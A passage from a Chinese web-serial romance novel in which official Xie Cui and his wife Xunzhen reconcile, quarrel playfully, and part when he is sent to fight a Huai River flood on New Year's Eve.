寻真:这人怎么回事?她正在跟他理论呢,突然把人夸一顿,这还怎么继续下去! 寻真:“那你认是不认?” 谢漼:“自然要认。” “一时疏忽,竟让我在真儿这里失了信用,实在不该。我已知错,下回必不再犯,真儿可否再信我?” 谢漼还煞有其事地朝她鞠了一躬。 寻真伸出手,捏住了谢漼的耳朵,揪了揪。 “淘气。”谢漼敲了敲寻真的脑门。 最终,寻真还是答应了谢漼。 可到了真正实施的时候,好几次都想退缩,完全是硬着头皮在坚持。 太羞耻了。 帐内昏暗,寻真跪坐在谢漼身前,捧着自己。 那物好几次都戳到寻真的脸。 寻真觉得谢漼肯定是故意的! 寻真又羞又恼,脸涨得通红,胸前皮肤被磨得红红的。 结束了,谢漼拿锦帕给她擦身,一擦干净,寻真立刻缩进里面的被子里,不肯出来。 谢漼轻笑着,过去搂她:“好久未见真儿羞容,甚是怀念呢。” 寻真扒开他的手。 谢漼:“好了,真儿莫气,我不是答应你了?仅此一次,往后定不这般孟浪了。” 寻真侧过红红的脸,小声提醒:“那个……你也别忘了。” “怎会忘?”谢漼声线温柔,摸她鬓角的发,哄道,“两个月后,便是明年一月初五,那日我必践行与真儿的承诺。” 寻真转过身来:“……是你生辰两天后。” 谢漼:“真儿竟记下了。” 寻真:“……嗯哼。” 谢漼:“真儿已想好如何改造那块玉佩了?” 寻真:“……还在想。” 谢漼:“到那日,我也会给真儿一份礼。” 寻真:“什么?” 谢漼亲了亲寻真的眼睛:“到那日,真儿便知道了。” 谢彦成书房中。 待听完谢漼所说,谢二爷沉思许久,开口劝道:“缮之,不可莽撞,此事当深思熟虑,慎之又慎。” “你今岁初得晋升,朝堂上根基未固,若又申请外派,实在是锋芒太露,纵你天赋异禀、才比管乐,须知木秀于林,风必摧之。出头之鸟易遭弹。过于瞩目,恐招人嫉恨,再者,圣上亦会疑你。绝非明智之举,不妥。” “依我看,还是再稳两年更为妥当,我自当设法在朝中为你周旋,安排你到关中等地任职。” 关中等地,民生富庶,容易做出政绩,且稳妥不易出错,这是谢彦成为谢漼铺好的升官路。 谢漼却道:“二伯,侄儿的意向是泗 州。” “不知二伯能否为我安排?” 谢彦成猛地一震,上下打量着谢漼,一时间竟说不出话来。 当真是年轻气盛啊! 倒不是泗州不好安排。 泗州那是什么地方? 淮河下游、汴河之口,南北交通要塞,几百年来,水患频发,多少官员因治水不力而被革职查办。 稍有差池,那可是要丢官的! 谢二爷长叹一口气,再看谢漼,那神色,竟是已下定决心了。 谢二爷:“你当真想好了?你也应当清楚,若一个不慎……会有何后果?” 谢漼:“侄儿自是清楚。” 谢二爷又看了他片刻,还是问:“你计划何时?泗州不难,我知会吏部一声便成。” 谢漼:“明年三月。” 谢二爷点头:“好。” 伸出手,虚空点了点谢漼,“这般烫手的差事,也就你上赶着去!” 语气像是埋怨,那眼里却隐隐闪烁着赞叹。 谢漼长揖,道:“多谢二伯。” 谢漼从谢二爷院中出来后,唤来承安。 承安依照谢漼的要求,找了几处地,并将各处详细情形一一禀报给谢漼。次日,谢漼便亲自前去查看。其中一处,地势高爽开阔,又临近通衢大道,车马往来便捷,却又不会过于嘈杂喧闹。 谢漼便定下,当即吩咐承安去办理过户登记。 谢漼心中盘算,外派三至五年,待回来,宅子也差不多建成了。 正好。 几上放着本《沟洫志》,寻真随手翻了几页,见谢漼进来,又放下。 谢漼最近总看水利相关的书。 谢漼向她伸出手:“真儿。” 寻真应了声,握住他,主动坐到他怀里,勾着他的脖子:“……谢漼。” 谢漼:“嗯?” 寻真的脑袋挂在他臂弯上,抿抿唇,没有说话。 谢漼的心尖像是被羽毛挠了一下。 怎这般像恒哥儿。 谢漼抚着寻真的鬓发,柔声问:“真儿,可是有什么烦心事?” 寻真哼了一声,将脸撇到一边。 这一哼,仿佛带着丝丝热气,钻进谢漼胸口,挠得他心脏软绵绵、酥酥麻麻的。 与真儿愈发亲密,才得以窥见真儿本性。 才知从前的自己,错过了多少,若是能早些与寻真敞开心扉,彼此诚心相待,何至于蹉跎岁月。 这样的日子,他早就过上了。 陇州那两年,也不至于过得那般孤寂清冷、备受煎熬。 谢漼声音更柔了些:“真儿快与我说,莫憋在心里。” 寻真埋怨的小眼神投了过来:“……跟你说有什么用。” 谢漼心中一紧,抱着她,手紧了紧,“怎会没用?” “真儿莫不是小瞧了你丈夫的能耐?只要你有所求,便是要那天上的星辰,我也想法子给你摘来。” 寻真噗嗤一声笑了出来。 谢漼竟然会说这种话。 谢漼:“真儿笑什么?” 寻真弯着眼睛:“没什么……我就是无聊了而已。” 原来如此。 谢漼心念一动,本想开口说些什么,又怕事有变,让她空欢喜一场,便按捺住,打算等一切都万无一失了,再给她一个惊喜。 谢漼吻她脸颊:“等天气暖和了,我带你出去玩?” 寻真:“我现在就想玩,你可以陪我吗?” 谢漼看她这眼睛,便知道她准是又有了鬼点子,留了几分余地,没有立刻答应,否则又要被她说“轻诺必寡信”。 “真儿想玩什么?” 寻真扯扯他袖子:“你先答应我。” 谢漼坚持道:“真儿先说。” 寻真说:“我想打雪仗。” 谢漼立马道:“不可。” 就知道。 寻真的笑容凝在脸上:“你不陪我,我就一个人玩。” 谢漼:“不可,真儿莫要拿自个身子胡闹!” “你本就体弱,又肾精亏虚,这天寒地冻的,在外面打雪仗,极易染上风寒,到时身子可要受苦了。” 寻真:“穿多点不就行了。” 谢漼吧啦吧啦说了一堆。 最后把寻真念得头疼,只好点头答应。 谢漼怕她阳奉阴违,又补充道:“我不在时,也不可偷偷玩!” 寻真:“哦哦哦。” 寻真哪会真的听话,本想着拉谢漼一起玩,没成功就算了。她就打算唤月兰她们一起,没想到谢漼早就提前吩咐过,她们都不肯玩,还反过来劝她。 寻真气死,早知道就不问谢漼了。 冬天唯一的娱乐活动就这么被他禁止了。 于是,寻真滚了一个雪团,藏在院门后,准备等谢漼一来,就直接砸到他脸上。 谢漼眼尖,远远就看到墙后有裙摆一闪而过,摇了摇头,唇边溢出一抹笑。 寻真仔细听着谢漼的脚步声。 等他差不多走到院门口时,寻真跳了出去。 谢漼却丝毫没有被吓到的样子。 立在原地,含笑望着她。 寻真捧着大雪团,上下看看,发现自己好像有点不忍心把雪砸到那张帅脸上。 最后,寻真从雪团上挖了一小块,大雪团丢一边,在手里搓了搓,跑到谢漼面前。 “啪”的一声,将那小雪球拍到了谢漼的额头上。 谢漼脸上的雪粒簌簌落下,雪缓缓化开,他的脸变得湿漉漉的。 谢漼只弯唇笑着,拿起寻真刚抓过雪的手,宽厚的大掌拢住,源源不断的热度从他的掌心传来。 谢漼一路捂着她的手,朝里拉进去。 第89章 第89章“不可抗” 寻真:“你早看见我了是不是?” 谢漼:“就知真儿不会听我的话。” 寻真:“……哼哼。” 一到榻上,寻真整个人挂到了谢漼身上,道:“你就陪我打雪仗吧?嗯?跟她们玩都没什么意思的,她们都让着我……” 谢漼挑眉:“真儿意思是,我就舍得打你了?” 寻真:“……不是。” 这不是月兰她们站在那儿都不躲,寻真不好意思砸嘛! “好不容易下这么大的雪,不打雪仗多可惜!” 谢漼:“雪年年有。” 寻真:“好,那就明年。” 谢漼刚要开口说,那得看她明年身子调养得如何。 寻真晃着他的脖子:“答应我吧,答应我吧……” 谢漼喉结动了动,终究还是应道:“好。” “明年陪你。” 想了想,谢漼又道:“到时,还可叫上恒哥儿一起。” 寻真瞅瞅他,耷下眉。 又是谢璋,谢漼就放不下了是吧。 谢漼瞧见她这副神情,心里不禁凝重起来。 即便两人已重修旧好,可真儿为何还是不愿与恒哥儿亲近呢? 她虽失忆,可毕竟母子连心,真儿怎对恒哥儿一点母子情分都没有呢? 寻真见谢漼一脸沉思,明白他在想什么。 寻真陷入纠结,要不要跟谢漼坦白,穿越这回事? 不然,谢漼总想要培养她跟谢璋的母子情。 可是……谢漼会相信吗? 谢漼见她愁着脸,叹了口气,揉了揉她的发:“真儿不想与恒哥儿一起,那便不叫他,就我和你二人。” 岁末将近,谢漼着人送了好些物件到寻真院子,有精巧首饰、金银器物之类,还有珍稀古董,东西多得库房都快放不下了。寻真看着那一片金灿灿的,心里都没什么感觉了,反正放在库房也是落灰,就在正堂给丫鬟们发首饰,一人发一件。丫鬟们都激动得不行,眼睛里直冒光。 谢漼来时,正好看到了这一幕。 等屋里只剩下他们二人时,谢漼问道:“真儿都不喜欢这些款式样式么?” 寻真:“我都不出门,你给我送那么多干嘛,又没用。” 谢漼:“不出门为何就不能带了?” 寻真:“不出门,我穿给谁看啊?” 谢漼看着她,眼神里带着些许暗示。 寻真:“不要送了,都是放在库房积灰。” 谢漼:“真儿整日在这院中,常日无事。何不习些梳妆之技,饰以华服美饰?” “等你装扮好了,定是明艳照人、花娇玉嫩。临镜自照时,瞧见这般姣好模样,心情必定欢畅,日子也添了不少趣味。” 寻真:“说了这么多……你就想我打扮给你看对不对?我就不。” “你怎么不把自己打扮得好看点,讨好讨好我呢?” 谢漼有时真被她这性子气得够呛。 怎就长了一身反骨呢? 叫她做什么偏不,还反过来要求自己。 谢漼打量着寻真,见她素面朝天,不施粉黛,头上只是随意挽 了个发髻,仅用一支金钗固定。 穿着更是随性。 因屋内燃着瑞炭,暖如春日,她一犯懒,连平常的衣裳都不愿穿,只着一件中衣。 便是让谢漼看到了,也依旧笑嘻嘻的,一副满不在乎的模样。 谢漼自然是希望看到她精心装扮的样子。薄施粉黛,身着华服,最好是站在门口,满心欢喜地等着自己来。 就像从前那样。 但现在,显然不可能实现。 如今他来,不在床上赖着就已经很不错了。 她笃定了自己会纵着,便完全由着自己的性子来。 谢漼虽然不认同她这样的生活习惯,但能怎么办,他好不容易才与真儿重归于好,若再像以前那样要求她,真儿怕是又要将自个重重包裹起来,再也不愿向他吐露心声了。 所以,谢漼也只是偶尔口头上说几句,她不听,就罢了。 都说女为悦己者容,怎到了真儿这里,就完全不一样了呢? 难道…… 不,她自是心悦自己的。 只真儿性子与旁的女子不同,行事更洒脱,更在乎自己的感受,这样也好,若她委曲求全顺着他的心意,他反倒心疼。 谢漼捏捏寻真的脸,见她瞪着自己,道:“真儿说这话,未免太没道理了些。” “你怎知我没有好好装扮自己?” 寻真:“嗯?” 谢漼:“真儿这般粗心,怕是从未留意过,我每回来你院子之前,必先沐浴净身,好好地收拾一番,才来见真儿。” “可真儿呢,常披头散发,衣衫不整,有时候我来了,你还赖在床上。更过分的是,你连正眼都不瞧我一下。” “这岂是待夫君之礼?” 寻真哼了一声,原本靠在他肩上,听完这话后,留下一句:“我跟你又怎么一样。”便转身走进里屋了。 这是生气了? 谢漼心里一紧,平时也不是没说过她,今日这是怎了? 谢漼连忙追了进去,见她垂着头,坐在床沿脱鞋,一转身便躺了进去,竟连一个眼神都未给他。 谢漼心道不妙,这是真气他了。 顿时后悔起来,方才为何要说那些话,惹她不快。 谢漼赶紧上了床,从背后环住寻真,小声地赔不是:“是我不对,惹真儿恼了。” “真儿即便不梳妆打扮,整日着中衣,在我眼中,亦是明艳动人,娇憨可爱。” “方才那些话,绝非对你有所苛责,真儿若不喜梳妆,就依着自己,不必在意我的想法。” 寻真还是不搭理他,一副心情低落的模样,谢漼将她转过来,抱在怀中,轻声道:“真儿烦我念叨,我日后再也不说了……” “真儿这是再也不愿理我了么……” 寻真额头抵在他胸前,终于开口了:“……我跟你不一样的。” “你想见我,可以随时都来,因为我每天都呆在这个院子里。” “可是我想见你,就只能等。” “我若是每天都为了你而过,那我会丢掉自己的……” 她声音虽轻,却跟把尖刀子似的,一下扎进谢漼心里。 此题,非一时可解。 纵谢漼之才,亦有无能为力、无计可施之时。 望着心爱之人眉眼间的委屈,谢漼只觉一阵钝痛,那滋味难以言表。 谢漼将她的脸抬起,吻她的眼睛。 “真儿无需为我改变,如今这样,便已……” “很好,很好了。” 寻真凑过去,与他接吻。 岁末之际,谢漼写好申请文书,呈递给吏部。 寒冬腊月,京中断断续续下了一月的雪。腊月二十七,是谢漼最后一日当值,这日,久违地出了太阳。寻真也难得早醒了,侧躺着,静静地看着谢漼穿官服。 谢漼察觉到她的目光:“真儿不睡了?” 寻真:“嗯。” 谢漼只剩个革带没系,往边上看了一眼,见她发怔,便道:“真儿,可为我系此带?” 寻真坐起来,朝他招了招手。 谢漼失笑。 寻真:“过来呀。” 谢漼走了过去,寻真坐在床沿,系好革带,然后拍了拍谢漼的腰:“去吧。” 谢漼:“明日起,我便开始休岁假,往后整整十日,都陪真儿。” “若是哪天天气暖和些,便带真儿出去。” 寻真点点头:“知道了。”挥挥手。 谢漼朝外走去,到门口时又退了回来。 寻真刚躺下:“怎么了?” 谢漼:“有一事,我每日都做,今日真儿醒得早,便忘了。” 寻真:“什么?” 谢漼俯身,吻了吻她的唇,弯着腰,笑着看她:“得真儿一吻,今日我定能神采奕奕,神清气爽,不管多少事务缠身,都不会觉得疲倦。” 岁除夜,谢府的晚宴一散,谢漼便朝外走去。 谢二爷本想叫住他,跟他说说话,看到他急匆匆的样子,自是猜出他赶着去哪,不禁摇了摇头。 吕令萱虽被禁足,但岁除宴这样重要的家宴,她还是参加了。她还未离席,注视着谢漼离去。这些日子,府上的人都瞧得真切,谢漼几乎每日都在西院留宿。 吕令萱面上依旧保持着端庄的神情,看不出一丝波澜。 宋嬷嬷低声对吕令萱道:“老夫人这几日受了寒,夫人可要去看看老夫人?” 吕令萱:“走。” 主仆二人正往外走,迎面却跑来一个男仆,面色慌张。那仆人还未跑到谢二爷面前,便高声喊道:“二爷,凤阳府急报!圣上……” 京城一片宁静祥和,沉浸在迎新年的喜悦中,淮河沿岸多地却接连下了半月的雨,暴雨一场接着一场,肆虐横行。 寿州、濠州、泗州等地深受其害,遭遇了百年一遇的洪灾。 各地知州纷纷写下灾情奏折,快马加鞭送往京城。这两日,已经接连到了三封,今日又收到知府的奏报,凤阳府灾情严重,救灾之事已刻不容缓,绝对等不到年后再处理了。 圣上急忙下旨,召集五品及五品以上的官员上朝议事。 谢府中就有两位,大爷和二爷。 谢彦成和谢怀礼换好官服,神色匆匆地朝外走去。 谢府张灯结彩,到处都亮堂堂,热闹非凡,一片喜庆景象。 谢漼提前走了一步,并不知晓灾事。他到清挽院时,丫鬟们正在院中燃爆竹,噼里啪啦。 寻真躺在床上看书。 谢漼走到床边,坐了下来,捉住她的手,“真儿怎这么早上床了?不守岁了?” 寻真:“我就在床上守岁。” 谢漼上了床,将人搂住:“这书就这么好看,真儿竟都不看我一眼。” 寻真把书放到一边,看向谢漼,嘴角抿得紧紧,向下压着。 谢漼眉眼温柔,轻声问道:“真儿又在气我什么?” 寻真:“……没什么好说的。” 谢漼:“快说。真儿不告诉我,我怎猜得出?” 寻真哼了声:“你连守岁筵都不能跟我一起吃,还说什么……” 谢漼亲她,低低地说:“明年,明年定……” 寻真:“又是明年!明年复明年,明年何其多!” “你就知道给我画饼!” 谢漼一愣:“画饼何意?” 寻真气气 地说:“你书读那么多,还不知画饼为何意?” 谢漼:“真儿可否给我些提示?” 寻真:“三国志。” 谢漼深思,脑中一转,迅速抓取到一句。 【名如画地作饼,不可啖也。】 他顿时明白,寻真这是讽他,用虚假的承诺来欺骗她。 谢漼觉得实在冤枉:“我怎可能故意哄骗你?” “我与你说的,皆是出自真心,必定会做到。” 寻真随口一问:“万一碰到不可抗力呢?” 谢漼又愣:“这又是何意?” 寻真解释道:“不可抗力指——” “不能预见、不能避免并不能克服的客观情况。” “真儿口中怎有这般多奇异的词汇。” 谢漼大概能懂,便立誓道:“纵有天大的事,我也定能排除万难来见真儿,与真儿一道用守岁筵。” 第90章 第90章“最容易” 一众官员都是在与家人相聚时,被紧急召出,神色间满是凝重。 此次灾情,降雨量远超常年,加之淮河河道久未疏浚,周边湖泊洼地多被围垦,山水汇聚,河水暴涨,冲毁堤岸,所到之处,一片汪洋。 实乃百年一遇的惨祸。 圣上与诸大臣商议,该派何主力前往抗洪救灾。皇帝话一出口,朝堂瞬间寂静无声。少顷,工部侍郎率先出列请命,之后,又陆续有六七名官员站出来,纷纷表示愿为救灾出力。皇帝当即下诏,以两位高官为主领,抽调一批中层官员与属吏,再加上御史台官员与禁军将领,共派遣官员数十人。 好巧不巧,皇帝的桌旁恰好放着谢漼请求外派到泗州的文书。 圣上提笔一挥,朱笔落下,将谢漼的名字也添上了——特拔擢太学博士谢漼为都水监丞,随队救灾。 “本是阖家团圆之时,却要众爱卿奔赴险地,实在辛苦。” 众臣纷纷跪地。 “陛下爱民如子,臣等愿赴汤蹈火!为国尽忠,为陛下分忧,乃臣等分内之事,何谈辛苦!” “灾情危急,不可耽搁,即日便出发。务必尽快平息灾祸,还百姓安宁!” 众臣领命,退出朝堂。 是夜,被遣往灾区的官员们,脚下生风,赶着回府,迅速整理行装,调集救灾物品,征募人手。 谢彦成亦加快脚步,登上马车后,差家仆快马赶回,将朝廷委派救灾、谢漼亦在其列的消息告知于他。 家仆领命,扬鞭催马,飞驰而去。 彼时,谢漼正环着寻真,语调轻柔,说起早年自己游览山河时遇到的趣事。 寻真的脸贴着谢漼的胸膛,上下眼皮直打架。 外头传来高唤:“五公子可在——!” “五公子——!” 黑暗中,二人坐起了身。 寻真:“……有人叫你。” 正值夜静更深,又逢岁除,能在这个时间这般急切唤他的,定不是小事。 谢漼摸了下寻真的头:“我出去看看,应是有急事,真儿不必等我,直接睡吧。” 寻真心中莫名涌起不安,在谢漼走时,扯住了他的衣服。 谢漼弯腰,吻了吻她:“若无要事,我去去就回,若半个时辰未归,定是有棘手之事,真儿便不必等我。” 今日屋内一直没熄灯,亮堂堂的。 谢漼衣冠整齐,立在床前。寻真坐在床上,握着他的一只手,轻轻捏着。 谢漼捉起她的手,吻了吻。 谢漼与谢二爷在书房中谈了一个半时辰。谢漼出来后,提笔疾书,换来承安,详细交代。等所有事都安排好,天边泛起了鱼肚白,已是寅时。 谢漼立在书房门口,望着天边,眉宇间凝了起来。 竟让真儿一语成谶。 他长叹了一口气,迈步。 谢漼走后,寻真等了许久,都没等到他回来,还是睡了过去。 她心中莫名被一根弦绷住,一直醒来,断断续续睡着,极不安稳。 寻真半睁开眼,瞧见床边有人坐着。 “谢漼……你什么时候回来的,怎么也不叫我……” 谢漼没有说话,只看着她。寻真见谢漼这眼神,心中顿时感觉不妙,坐了起来,“怎么了?发生什么事?” 谢漼:“淮河沿岸多地突发洪灾,我明日便要动身,真儿……之前我向你许下的几件事,恐怕无法做到,我心中实在惭愧。” 寻真:“洪灾,你明天就得走,那应该是很严重了?” 谢漼:“百年难遇的大灾。” 寻真:“那我今天就收拾东西,明天跟你一起走。” 说着就往衣柜那边走,谢漼拉住她的手臂。 谢漼感到意外,没想到对真儿说了此事,她第一反应竟是要随他去。 在谢漼的计划中,确是要带她一同去泗州。 可此次灾情惨烈,超乎想象。 但凡大灾,史册皆有记载,不少官员在治水救灾时,因河水陡然暴溢而不幸殒命。加之洪灾过后,疫病极易滋生,稍有不慎,便会染病,危及生命。 真儿身子弱,如何能承受住? 谢漼心中忧虑难安,自己此去,亦是吉凶难料。 若自己遭遇不测,真儿无人护佑,又该如何是好? “真儿切勿玩笑,这般严重的天灾,我怎会带去你?” 寻真:“你不也去吗?” “谢漼,你别总是把我想的那么弱好不好?” 谢漼:“真儿,男女之躯,天然不同。我此番前往灾区,必定四处奔走、涉水而行。若你同去,一旦洪水暴涨,双足便不得不整日浸于寒水之中,如今正值寒冬,水冷刺骨,且灾后极易滋生疫病。” “你身子骨弱,若逢月信,还整日泡在冰水里,你可知道这对身体会有多大的损伤?” 谢漼可真会抓痛点。 只这一点,足以让寻真退却。 的确是个大问题,这么冷的天气,例假来了,在这里,可以待在暖和的房间,整日都躺在床上。要是泡在冰水里,寻真不敢想象,会有多么难受。 谢漼:“且不说路途颠簸,我等须日夜兼程,不得有半分耽搁。到了灾区,我亦要即刻投身治水救灾,分不出半分精力来顾及你。” 寻真嘟囔着:“……我又不需要你时刻照顾我。” 谢漼将她搂到怀中,“我又怎能不时刻惦记着真儿?若我将真儿带去,定会分一半心思在你身上,如此一来,差事办不好,我办事不力,惹得圣上动怒,被罢黜官职,可如何是好?” 寻真:“你还会办事不力啊?……骗谁呢。” 谢漼亲亲她:“真儿莫要让我担心,可好?” 寻真环住他的腰,下巴搁在他肩上:“你要去多久?” 谢漼叹气:“归期不定。” 寻真:“……又要让我等。” “该不会又是两年吧?” 谢漼也不知要多久,又怎能随意许下承诺。 寻真:“……还说没有给我画饼。” 谢漼闻言,又是一声长叹:“看来我在真儿心中,怕已是个毫无信用可言的人了?” 寻真:“是。” 二人相拥片刻,谢漼开启了碎碎念模式,事无巨细地叮嘱起来,比如在家中,有些事可为,有些事不可为。若想出门,便只能忍一忍,等他回来再说。若偷偷跑出去,被心怀不轨之人抓住把柄,借机为难,他远在灾区,鞭长莫及。 日子无聊,可多读些书,或是养些花花草草,也可学几项技艺,比如画画、弹琴啊,可让承安给她请先生上门教授。 寻真听到这里,打断了:“我若要学,为何不让最厉害的那个教我呢?” 谢漼垂眸凝视着她。 寻真哼了一声。 谢漼一笑,提议道:“那真儿便等我回来,由我亲自教你,可好?” 寻真点点他的唇:“我说你是最厉害的那个了吗?要不要那么自恋啊?” 谢漼低下头,咬了一口她的唇:“明日我都要走了,真儿还气我!” 平时寻真总烦他念叨,明天要走了,听他这么絮絮叨叨,寻真竟有些听不够。 算一算,两人真正在一起的时间,不过短短四个月。 寻真正上头着,还没过那个黏糊劲。 谢漼软软的嘴唇她还没亲够呢。 想着,寻真便啄了两下他的唇。 “另有一事,我需着重提醒真儿……” 谢漼停顿了一下,目光别有深意地看向寻真。 寻真:“说吧。” 谢漼:“我不在家时,真儿不准与谢进见面!” 提及此事,谢漼没忍住,语气便重了些。 这什么态度! 寻真有点不爽。 谢漼手臂收紧,追问道:“听到没,真儿?嗯?” 寻真:“知道了!” “上次不都答应你了吗!” 谢漼捏了捏她鼓起的脸颊:“真儿莫 怪我旧事重提。” “你不知,当时我得知你与谢进私下往来,心中是何等的肝胆俱颤。” “那滋味,我此生难忘。还好,一切都是误会……” 说到这里,谢漼长舒一口气。 寻真看着谢漼。 谢漼亲了亲她,继续说:“既然你答应了我,我自然信你。” “至于恒哥儿,我还是托付给二伯代为照料,还有……” 谢漼一桩桩、一件件细细交代着。 寻真听着,插嘴一句:“你要是两年都没回来,我等不到你,寂寞难耐,就去找别人了!” 这话一出口,谢漼脸色骤变,眼神冷了几分,口吻透着斥责:“真儿怎能开这般玩笑!” 这话就完全踩在谢漼的雷点上了。 寻真只是口嗨一句,没想到被他这么凶,心里不服。 “好了好了,我知道了,不找别人……” 谢漼立刻摆出一副教导的姿态。 “真儿,这话怎能随便乱说?” “我朝律法严明,妻妾犯奸,徒一年半。若被府中知晓,按族规杖八十,逐出府门,这可不是儿戏!” “日后这种话,半个字都不许再提。” 每当谈及这类话题,寻真心里就很难受。 在现代,出轨不过是道德层面的问题,哪会落得坐牢、被杖打的下场。 虽然她也不会出轨就是了…… 寻真有点生气,想跟谢漼理论一番,但还是忍住了。 谢漼当然看出她心中不服:“我所言难道有错?” “此乃妇德,是真儿该遵守的本分,切不可违背。” “怎么到真儿这儿,倒像是我故意为难你?” 寻真看着谢漼这张脸。 还是气不打一处来。 长得再帅也忍不了! 寻真扒开谢漼的手,从他怀中挣脱出来,挪到床的内侧,背对着他。 谢漼盯着她的背影,无奈叹气,也跟着挪到内侧,撑着手肘,将手搭在寻真的腰上。 寻真立马将他的手拿开了。 谢漼干脆将她整个圈在怀里:“我明日都要走了,真儿还要与我置气?” 寻真不说话。 谢漼手绕过去,摸摸她的脸:“气坏了自个,可是要让我在路上牵肠挂肚?” “我知方才真儿不过是与我打趣,我亦是一时被真儿这话惊着了,才说得重了些。” “我信真儿,断不会做出那般事。” “我们为何要为一件根本不会发生的事伤了和气呢?” 寻真转过来,轻声说:“那你也要答应我……” 谢漼:“真儿但说无妨。” 寻真:“你也要守男德。” 谢漼对寻真口中时不时冒出的新奇词汇,早已见怪不怪,自是瞬间便领会了她话里的深意。 谢漼轻笑,温柔道:“此事,我不是早已答应真儿了吗?” 寻真:“谁知道你是不是骗——” 谢漼的手指按住寻真的唇:“真儿可知,这是我对你所有承诺中,最容易做到的?” “不论是何种不可抗力下,我都必定遵守。” “绝不违背。”【魔蝎小说 mo xie xs .c om】 90-100 第91章 第91章“睡美人” “是吗……”寻真的手往下,抓住了,眼中闪着潋滟的光,语调带着一丝促狭,“……那它怎么不听话呢?” 谢漼抽了一口气,声音压抑得近乎喑哑:“真儿还有心思这般闹我,看来是不气了?” 寻真轻哼一声,松开手。 谢漼温热的唇贴上她的,低声问:“怎就放开了?” 寻真勾住谢漼的脖子:“今天要不就解禁了?”指尖戳了戳谢漼的胸膛,“……你可别忘了有一件事答应我了的,别想赖账……” 谢漼自然想,明日便要远行,归期难料,若能,定要与真儿燕好绸缪,整日相伴。 可是…… 寻真主动伸出手腕,撩起袖子。 谢漼三指搭上,果然。 谢漼哑着嗓:“先前我为你定下二月之期,已不能再少,真儿的肾元正在慢慢恢复,还未好全。” 寻真:“一次又没关系,而且你走了我就被迫禁欲了……” 谢漼抚了抚她的发丝:“不是真儿所想那般简单。” “我在真儿面前,何曾控制得了自己?我明日要走,若一时情难自抑,索取无度,一夜之间让真儿身子亏空,先前的努力便都付诸东流……” 寻真:“……哼!” 谢漼:“待我回来那日,自会践行。那时……真儿便是求我停,我也定不放过。” 两人又说了一会儿话,因明日就要出发,谢漼还有很多事要安排,白日里忙得脚不沾地,直至夜深,才踏入寻真的院子。 两人相拥而卧,尽管白天谢漼已说得很多了,但此刻,抱着真儿,离情别绪如蔓草疯长。 天一亮,他便得走了。 谢漼絮絮叨叨,又说了许多话。 寻真环着他,想起他从陇州回来,肉眼可见沧桑了许多,都不精致了。 这次是去治洪,想必更加辛苦。 寻真问:“你到了那边是不是都没好日子过了?” “会不会很辛苦?” 谢漼颇为感慨:“真儿可算知道心疼夫君了。” 寻真:“不过,你身边围着一大堆人……应该也辛苦不到哪里去。” 谢漼恨恨:“真儿定是要与我犟着,可对?” 寻真想想是最后一晚了,就稍微哄两句吧。 于是,她脸上绽开笑容,抬起手,轻轻摸了摸谢漼的脸。 “辛苦我家夫君了呢。” 然后手往上,学他平时爱做的动作,摸了摸他的头。 “夫君加油。” 巧笑倩兮,美目盼兮。 谢漼脑中浮现这一句,只觉心像是被猫挠了似的,又痒,又麻。 心动神摇,不能自已。 谢漼狠狠堵住了她的唇。 接完吻,寻真气喘吁吁,嘴唇水润而嫣红,问他:“你明天什么时候出发?” 谢漼:“卯时二刻。” 寻真:“……这么早?” 谢漼想了想:“明日我可要吵醒真儿了,定是要向真儿讨了一吻再走。” 寻真心中有了一个计划。 可这里又没闹钟,寻真睡眠质量向来不错,要是等到谢漼叫她就来不及了,寻真强撑着不睡,好不容易熬到外面天色微微泛白。 寻真小心翼翼拉开环在她腰间的手,轻手轻脚地从他怀中爬出来。 谢漼应该正在深度睡眠中,眉目舒展着,长长的睫毛垂着,看上去睡得很香。 平常都是他先醒。 还是第一次看见谢漼的睡颜。 寻真本要下床去做事,一时被他的睡颜吸引。 真是睡美人呢。 亲一下会醒来吗? 寻真小心地低下头,亲了亲谢漼的唇瓣,蜻蜓点水。 谢漼并未醒来。 寻真欣赏好一会儿,才从他脚边绕了出去。 寻真撩开窗帘,往外看去,看天色,估摸着凌晨三点多的样子。 她走到衣柜前,挑来选去,最终还是选了谢漼亲手设计的那套曲裾。她一个人费了好大一番功夫,才穿戴整齐。 然后,她坐在妆台前,鼓捣着那些化妆品。 研究许久,回想谢漼上次帮她化妆的流程,生疏地开始动手。 寻真不经意间往旁边一瞥。 谢漼不知何时醒了,正侧着身子,单手撑着下巴,凝目看她。 寻真拿着螺子黛,有些不好意思,脸上泛起淡淡红,问道:“你什么时候醒的?” 谢漼眼中含笑:“真儿以为呢?” 寻真:总之不能是她偷亲他的时候醒! 谢漼没有回答,只柔声问:“我为真儿妆点可好?” 寻真看着镜子里自己画得歪歪扭扭、两边都不对称的眉毛:“嗯……你来吧,我不太会……” 谢漼就很快,三两下化完,虽然那妆容风格还是老样子。 但还是很厉害。 谢漼立在她身后,捧起了她的发,寻真察觉到他的意图后,转头,满脸惊讶:“你还会梳髻?” 谢漼:“这有何难?纵未梳过,想那形状,便知该如何下手了。” 谢漼给她梳了堕马髻,最后从匣子里挑出一只簪子,插上。 是他送的流霞簪。 打扮完了。 外面的天渐渐大亮。 寻真站起来,离别的愁绪一下子涌上心头,寻真的眼眶有些湿了,不想让谢漼看到她这样子,寻真抱住了他,将脸埋在他的胸膛,一声不吭。 谢漼似是感受到她的情绪,大掌缓缓地抚着她的背,同样沉默不语。 两人就这样静静相拥,听着彼此的心跳声。 寻真努力抑制,再度仰起头时,脸上已挂上了笑容。 “对了,我已经给你做好生辰礼了,只可惜等不到你生辰那天了。” “就提前送给你。” 寻真转身取来匣子,见 谢漼身着亵衣,便道:“你今天穿什么衣服,我帮你穿吧?” 或许是因为离别在即,谢漼的声音听起来格外温柔,几乎能滴出水来:“真儿为我决定可好?” 寻真走到衣柜前,翻找起来,最后挑出一件紫袍:“你穿紫色挺好看的,不过……”寻真低头看了看布料,一摸,“会不会太华丽了?你是去救灾,让旁人看到了,是不是不好?” 谢漼:“无妨。” 寻真帮他穿上,穿戴整齐后,寻真从匣子里拿起那块改造过的葫芦玉佩,系在他腰间,拍了拍。 谢漼低头看去,自是一眼认出,这是同心结。 寻真的脸微红,这同心结打得有些简陋,是她让月兰教自己编的。 实在想不出该怎么改进了。 “我打得不太好看……” 谢漼:“怎会?真儿这般别出心裁,竟将这玉佩改得如此好看。” 寻真嘴角上扬,小拳拳锤他一下。 谢漼也笑,再度将她拥入怀中。 他的呼吸声在她耳畔逐渐加重。 须臾,寻真似是下定了决心,忽然道:“谢漼,等你回来,我想……告诉你一个秘密。” 闻言,谢漼将她放开了:“哦?真儿竟还有事瞒我?” 